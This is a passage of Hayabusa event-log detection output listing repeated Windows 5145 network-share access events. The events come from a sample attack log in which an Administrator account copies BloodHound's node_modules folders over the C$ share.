Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.229 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.229 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\examples\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.229 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\examples\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.239 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.239 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\lib\components : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.239 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\lib\icons : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.239 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\lib\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.239 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.249 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\src\components : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.249 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\src\icons : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.249 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\src\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.249 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-is : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.259 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-is\cjs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.259 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-is\umd : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.259 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-lifecycles-compat : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.259 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.269 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\__test__ : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.269 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\__test__\__snapshots__ : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.269 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\coverage : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.269 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\coverage\lcov-report : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.279 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.279 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\docs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.279 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\docs\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.279 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.289 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\examples\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.289 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.289 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-photo-gallery\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.289 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-scrolllock : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.289 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-scrolllock\__tests__ : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.299 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-scrolllock\config : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.299 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-scrolllock\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.299 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-scrolllock\node_modules : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.299 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-scrolllock\node_modules\react-prop-toggle : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.309 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-transition-group : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.309 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-transition-group\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.309 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-transition-group\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.309 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\readable-stream : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.319 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\readable-stream\doc : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.319 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\readable-stream\doc\wg-meetings : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.319 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\readable-stream\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.319 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\readable-stream\lib\internal : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.319 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\regenerator-runtime : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.329 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\resize-observer-polyfill : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.329 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\resize-observer-polyfill\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.329 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\resize-observer-polyfill\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.329 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\resize-observer-polyfill\src\shims : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.339 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\resize-observer-polyfill\src\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.339 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\rimraf : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.339 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\safe-buffer : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.339 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\scheduler : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.339 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\scheduler\cjs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.349 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\scheduler\umd : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.349 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\setimmediate : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.349 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\signal-exit : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.349 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\ssf : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.359 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\ssf\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.359 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\stream-chain : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.359 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\stream-chain\tests : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.369 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\stream-json : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.369 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\stream-json\filters : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.369 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\stream-json\streamers : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 